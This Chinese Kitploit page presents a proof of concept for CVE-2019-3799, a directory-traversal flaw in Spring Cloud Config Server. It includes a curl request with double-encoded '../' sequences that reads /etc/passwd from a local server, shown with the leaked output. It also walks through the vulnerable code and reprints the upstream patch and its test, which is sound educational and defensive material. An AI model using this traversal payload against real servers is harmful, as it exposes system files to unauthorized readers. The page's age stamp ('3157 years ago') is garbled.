Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/mpgn/cve-2019-3799
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubmpgn/cve-2019-3799

CVE-2019-3799

CVE-2019-3799 - Spring Cloud Config Server: Directory Traversal < 2.1.2, 2.0.4, 1.4.6

查看仓库
3157年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-3799 - Spring-Cloud-Config-Server 目录遍历漏洞 < 2.1.2, 2.0.4, 1.4.6

Spring Cloud Config Server 存在目录遍历/路径穿越/文件内容泄露漏洞,影响版本 < 2.1.2, 2.0.4, 1.4.6

Spring Cloud Config 2.1.x 系列早于 2.1.2、2.0.x 系列早于 2.0.4、1.4.x 系列早于 1.4.6 的版本,以及更早的不受支持版本,允许应用程序通过 spring-cloud-config-server 模块提供任意配置文件。恶意用户或攻击者可以利用特制的 URL 发起目录遍历攻击。

capture d'écran_1

发现者:Vern ([email protected])

安全公告

  • https://pivotal.io/security/cve-2019-3799
  • https://spring.io/blog/2019/04/17/cve-2019-3799-spring-cloud-config-2-1-2-2-0-4-1-4-6-released

技术分析

  • https://chybeta.github.io/2019/04/18/%E3%80%90CVE-2019-3799%E3%80%91-Directory-Traversal-with-spring-cloud-config-server/

概念验证

  1. 下载漏洞版本的 Spring Cloud Config https://github.com/spring-cloud/spring-cloud-config
  2. 运行应用
root@kitploit:~
cd spring-cloud-config-server                                                                                                                                                                     
../mvnw spring-boot:run
  1. 利用
root@kitploit:~
curl http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd                                                                                                    

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

漏洞原理

一如既往,阅读文档可以找到相关信息:

提供纯文本文件:https://cloud.spring.io/spring-cloud-static/spring-cloud-config/1.3.1.RELEASE/#_serving_plain_text

Config Server 通过一个额外的端点 /{name}/{profile}/{label}/{path} 提供这些文件,其中 "name"、"profile" 和 "label" 的含义与常规环境端点相同,而 "path" 是文件名(例如 log.xml)。

Server 通过额外的端点 /{name}/{profile}/{label}/{path} 提供这些文件。

文档中另一个有趣的信息:

对于基于 VCS 的后端(git、svn),文件会被检出或克隆到本地文件系统。默认情况下,它们被放置在系统临时目录中,前缀为 config-repo-。在 Linux 上,例如可能是 /tmp/config-repo-

当我们发送 http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd 时会发生什么:

  1. 请求被映射到

https://github.com/spring-cloud/spring-cloud-config/blob/3c0348ca624f9f3b370797799a3608840fed2d8b/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/ResourceController.java#L71

root@kitploit:~
@RequestMapping("/{name}/{profile}/{label}/**")
public String retrieve(@PathVariable String name, @PathVariable String profile,
    @PathVariable String label, ServletWebRequest request,
    @RequestParam(defaultValue = "true") boolean resolvePlaceholders)
    throws IOException {
  String path = getFilePath(request, name, profile, label);
  return retrieve(request, name, profile, label, path, resolvePlaceholders);
}
  1. 函数 retrieve 调用函数 findOne

https://github.com/spring-cloud/spring-cloud-config/blob/3c0348ca624f9f3b370797799a3608840fed2d8b/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/ResourceController.java#L103

root@kitploit:~
synchronized String retrieve(ServletWebRequest request, String name, String profile,
    String label, String path, boolean resolvePlaceholders) throws IOException {
  name = resolveName(name);
  label = resolveLabel(label);
  Resource resource = this.resourceRepository.findOne(name, profile, label, path); // path: ..%2f..%2f..%2f..%2f..%2f../etc/passwd
  if (checkNotModified(request, resource)) {
    // Content was not modified. Just return.
    return null;
  }
  // ensure InputStream will be closed to prevent file locks on Windows
  try (InputStream is = resource.getInputStream()) {
    String text = StreamUtils.copyToString(is, Charset.forName("UTF-8"));
    if (resolvePlaceholders) {
      Environment environment = this.environmentRepository.findOne(name,
          profile, label);
      text = resolvePlaceholders(prepareEnvironment(environment), text);
    }
    return text;
  }
}
  1. 函数 findOne 被调用:
root@kitploit:~
public synchronized Resource findOne(String application, String profile, String label, String path) {
  if (StringUtils.hasText(path)) {
    String[] locations = this.service.getLocations(application, profile, label).getLocations(); // /tmp/config-repo-<randomid>
    try {
      for (int i = locations.length; i-- > 0; ) {
        String location = locations[i]; // [1]..%2f..%2f..%2f..%2f..%2f../etc/passwd
        for (String local : getProfilePaths(profile, path)) {
            Resource file = this.resourceLoader.getResource(location).createRelative(local); // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
            if (file.exists() && file.isReadable()) {
                return file; // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
            }
          }
        }
      }
    }
    catch (IOException e) {
        throw new NoSuchResourceException(
                "Error : " + path + ". (" + e.getMessage() + ")");
    }
  }
  throw new NoSuchResourceException("Not found: " + path);
}
  1. 然后函数 retrieve 使用 StreamUtils.copyToString(is, Charset.forName("UTF-8") 读取文件,该操作将 /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd 转换为 /etc/passwd,从而导致 /etc/passwd 文件内容泄露

capture d'écran_4


修复:https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2

capture d'écran

root@kitploit:~
From 3632fc6f64e567286c42c5a2f1b8142bfde505c2 Mon Sep 17 00:00:00 2001
From: Spencer Gibb <[email protected]>
Date: Tue, 2 Apr 2019 14:16:10 -0400
Subject: [PATCH] 清理无效路径

修复 gh-1355
---
 .../resource/GenericResourceRepository.java   | 165 ++++++++++++++++--
 .../GenericResourceRepositoryTests.java       |  18 ++
 2 files changed, 170 insertions(+), 13 deletions(-)

diff --git a/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/GenericResourceRepository.java b/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/GenericResourceRepository.java
index 1d7b9d117..0f3a071cb 100644
--- a/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/GenericResourceRepository.java
+++ b/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/GenericResourceRepository.java
@@ -17,14 +17,20 @@
 package org.springframework.cloud.config.server.resource;
 
 import java.io.IOException;
+import java.io.UnsupportedEncodingException;
+import java.net.URLDecoder;
 import java.util.Collection;
 import java.util.LinkedHashSet;
 import java.util.Set;
 
+import org.apache.commons.logging.Log;
+import org.apache.commons.logging.LogFactory;
+
 import org.springframework.cloud.config.server.environment.SearchPathLocator;
 import org.springframework.context.ResourceLoaderAware;
 import org.springframework.core.io.Resource;
 import org.springframework.core.io.ResourceLoader;
+import org.springframework.util.ResourceUtils;
 import org.springframework.util.StringUtils;
 
 /**
@@ -35,6 +41,8 @@
 public class GenericResourceRepository
 		implements ResourceRepository, ResourceLoaderAware {
 
+	private static final Log logger = LogFactory.getLog(GenericResourceRepository.class);
+
 	private ResourceLoader resourceLoader;
 
 	private SearchPathLocator service;
@@ -51,22 +59,28 @@ public void setResourceLoader(ResourceLoader resourceLoader) {
 	@Override
 	public synchronized Resource findOne(String application, String profile, String label,
 			String path) {
-		String[] locations = this.service.getLocations(application, profile, label).getLocations();
-		try {
-			for (int i = locations.length; i-- > 0;) {
-				String location = locations[i];
-				for (String local : getProfilePaths(profile, path)) {
-					Resource file = this.resourceLoader.getResource(location)
-							.createRelative(local);
-					if (file.exists() && file.isReadable()) {
-						return file;
+
+		if (StringUtils.hasText(path)) {
+			String[] locations = this.service.getLocations(application, profile, label)
+					.getLocations();
+			try {
+				for (int i = locations.length; i-- > 0; ) {
+					String location = locations[i];
+					for (String local : getProfilePaths(profile, path)) {
+						if (!isInvalidPath(local) && !isInvalidEncodedPath(local)) {
+							Resource file = this.resourceLoader.getResource(location)
+									.createRelative(local);
+							if (file.exists() && file.isReadable()) {
+								return file;
+							}
+						}
 					}
 				}
 			}
-		}
-		catch (IOException e) {
-			throw new NoSuchResourceException(
-					"Error : " + path + ". (" + e.getMessage() + ")");
+			catch (IOException e) {
+				throw new NoSuchResourceException(
+						"Error : " + path + ". (" + e.getMessage() + ")");
+			}
 		}
 		throw new NoSuchResourceException("Not found: " + path);
 	}
@@ -94,4 +108,129 @@ public synchronized Resource findOne(String application, String profile, String
 		return paths;
 	}
 
+	/**
+	 * 检查给定路径是否包含无效的转义序列。
+	 * @param path 要验证的路径
+	 * @return 如果路径无效则返回 {@code true},否则返回 {@code false}
+	 */
+	private boolean isInvalidEncodedPath(String path) {
+		if (path.contains("%")) {
+			try {
+				// 使用 URLDecoder(而非 UriUtils)以保留可能解码的 UTF-8 字符
+				String decodedPath = URLDecoder.decode(path, "UTF-8");
+				if (isInvalidPath(decodedPath)) {
+					return true;
+				}
+				decodedPath = processPath(decodedPath);
+				if (isInvalidPath(decodedPath)) {
+					return true;
+				}
+			}
+			catch (IllegalArgumentException | UnsupportedEncodingException ex) {
+				// 理论上不应发生
+			}
+		}
+		return false;
+	}
+
+	/**
+	 * 处理给定的资源路径。
+	 * <p>默认实现会替换:
+	 * <ul>
+	 * <li>反斜杠为斜杠。
+	 * <li>重复的斜杠为单个斜杠。
+	 * <li>开头的斜杠和控制字符(00-1F 和 7F)的任意组合
+	 * 为单个 "/" 或 ""。例如 {@code "  / // foo/bar"}
+	 * 变为 {@code "/foo/bar"}。
+	 * </ul>
+	 * @since 3.2.12
+	 */
+	protected String processPath(String path) {
+		path = StringUtils.replace(path, "\\", "/");
+		path = cleanDuplicateSlashes(path);
+		return cleanLeadingSlash(path);
+	}
+
+
+	private String cleanDuplicateSlashes(String path) {
+		StringBuilder sb = null;
+		char prev = 0;
+		for (int i = 0; i < path.length(); i++) {
+			char curr = path.charAt(i);
+			try {
+				if ((curr == '/') && (prev == '/')) {
+					if (sb == null) {
+						sb = new StringBuilder(path.substring(0, i));
+					}
+					continue;
+				}
+				if (sb != null) {
+					sb.append(path.charAt(i));
+				}
+			}
+			finally {
+				prev = curr;
+			}
+		}
+		return sb != null ? sb.toString() : path;
+	}
+
+
+	private String cleanLeadingSlash(String path) {
+		boolean slash = false;
+		for (int i = 0; i < path.length(); i++) {
+			if (path.charAt(i) == '/') {
+				slash = true;
+			}
+			else if (path.charAt(i) > ' ' && path.charAt(i) != 127) {
+				if (i == 0 || (i == 1 && slash)) {
+					return path;
+				}
+				return (slash ? "/" + path.substring(i) : path.substring(i));
+			}
+		}
+		return (slash ? "/" : "");
+	}
+
+
+	/**
+	 * 识别无效的资源路径。默认拒绝:
+	 * <ul>
+	 * <li>包含 "WEB-INF" 或 "META-INF" 的路径
+	 * <li>调用 {@link org.springframework.util.StringUtils#cleanPath} 后包含 "../" 的路径
+	 * <li>表示 {@link org.springframework.util.ResourceUtils#isUrl 有效 URL} 或移除开头的斜杠后将成为 URL 的路径
+	 * </ul>
+	 * <p><strong>注意:</strong>此方法假设开头的重复 '/' 或控制字符(例如空格)已被去除,因此路径以单个 '/' 开头或没有 '/'。
+	 * @param path 要验证的路径
+	 * @return 如果路径无效则返回 {@code true},否则返回 {@code false}
+	 * @since 3.0.6
+	 */
+	protected boolean isInvalidPath(String path) {
+		if (path.contains("WEB-INF") || path.contains("META-INF")) {
+			if (logger.isWarnEnabled()) {
+				logger.warn("路径包含 \"WEB-INF\" 或 \"META-INF\": [" + path + "]");
+			}
+			return true;
+		}
+		if (path.contains(":/")) {
+			String relativePath = (path.charAt(0) == '/' ? path.substring(1) : path);
+			if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
+				if (logger.isWarnEnabled()) {
+					logger.warn("路径表示 URL 或包含 \"url:\" 前缀: [" + path + "]");
+				}
+				return true;
+			}
+		}
+		if (path.contains("..") && StringUtils.cleanPath(path).contains("../")) {
+			if (logger.isWarnEnabled()) {
+				logger.warn("调用 StringUtils#cleanPath 后路径包含 \"../\": [" + path + "]");
+			}
+			return true;
+		}
+		return false;
+	}
 }
diff --git a/spring-cloud-config-server/src/test/java/org/springframework/cloud/config/server/resource/GenericResourceRepositoryTests.java b/spring-cloud-config-server/src/test/java/org/springframework/cloud/config/server/resource/GenericResourceRepositoryTests.java
index 7262a4ce4..1db865aee 100644
--- a/spring-cloud-config-server/src/test/java/org/springframework/cloud/config/server/resource/GenericResourceRepositoryTests.java
+++ b/spring-cloud-config-server/src/test/java/org/springframework/cloud/config/server/resource/GenericResourceRepositoryTests.java
@@ -18,15 +18,19 @@
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.ExpectedException;
 
 import org.springframework.boot.WebApplicationType;
 import org.springframework.boot.builder.SpringApplicationBuilder;
+import org.springframework.boot.test.rule.OutputCapture;
 import org.springframework.cloud.config.server.environment.NativeEnvironmentProperties;
 import org.springframework.cloud.config.server.environment.NativeEnvironmentRepository;
 import org.springframework.cloud.config.server.environment.NativeEnvironmentRepositoryTests;
 import org.springframework.context.ConfigurableApplicationContext;
 
+import static org.hamcrest.Matchers.containsString;
 import static org.junit.Assert.assertNotNull;
 
 /**
@@ -35,6 +39,12 @@
  */
 public class GenericResourceRepositoryTests {
 
+	@Rule
+	public OutputCapture output = new OutputCapture();
+
+	@Rule
+	public ExpectedException exception = ExpectedException.none();
+
 	private GenericResourceRepository repository;
 	private ConfigurableApplicationContext context;
 	private NativeEnvironmentRepository nativeRepository;
@@ -79,4 +89,12 @@ public void locateMissingResource() {
 		assertNotNull(this.repository.findOne("blah", "default", "master", "foo.txt"));
 	}
 
+	@Test
+	public void invalidPath() {
+		this.exception.expect(NoSuchResourceException.class);
+		this.nativeRepository.setSearchLocations("file:./src/test/resources/test/{profile}");
+		this.repository.findOne("blah", "local", "master", "..%2F..%2Fdata-jdbc.sql");
+		this.output.expect(containsString("Path contains \"../\" after call to StringUtils#cleanPath"));
+	}
+
 }
下载工具